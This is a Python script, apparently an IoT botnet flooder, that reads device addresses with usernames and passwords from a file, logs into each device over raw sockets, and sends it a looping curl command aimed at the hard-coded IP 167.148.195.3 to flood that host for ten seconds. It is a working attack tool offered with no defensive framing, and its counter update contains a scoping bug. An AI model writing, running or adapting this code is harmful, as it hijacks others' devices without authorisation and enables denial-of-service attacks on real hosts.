import socket, time, threading

devices = open("/tmp/devices.txt").read().strip().split("\n")
total_cmds = 0
lock = threading.Lock()
active = [0]

def flood_dev(line):
    parts = line.split(":")
    if len(parts) < 4: return
    ip, port, user, passwd = parts[0], int(parts[1]), parts[2], parts[3]
    conns = []

    for i in range(3):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(4)
            s.connect((ip, port))
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
            if "login" in data.lower():
                s.send((user+"\r\n").encode())
                time.sleep(0.3)
                data = s.recv(4096).decode(errors="ignore")
            if "password" in data.lower():
                s.send((passwd+"\r\n").encode())
                time.sleep(0.6)
                data = s.recv(4096).decode(errors="ignore")
            try: s.recv(65536)
            except: pass
            conns.append(s)
        except:
            pass

    if not conns: return

    with lock:
        active[0] += 1

    count = 0
    start = time.time()
    flood_cmd = "curl -s http://167.148.195.3:80/ > /dev/null 2>&1 &\r\n"

    while time.time() - start < 10:
        dead = []
        for s in conns:
            try:
                s.send(flood_cmd.encode())
                count += 1
            except:
                dead.append(s)
        for s in dead:
            try: conns.remove(s)
            except: pass
        if not conns: break

    for s in conns:
        try: s.close()
        except: pass

    with lock:
        total_cmds += count

threads = []
for d in devices:
    if not d.strip(): continue
    t = threading.Thread(target=flood_dev, args=(d,))
    t.daemon = True
    threads.append(t)
    t.start()

for t in threads:
    t.join(timeout=10 + 15)

with open("/tmp/_iot_result.txt", "w") as f:
    f.write(str(total_cmds) + "\n")
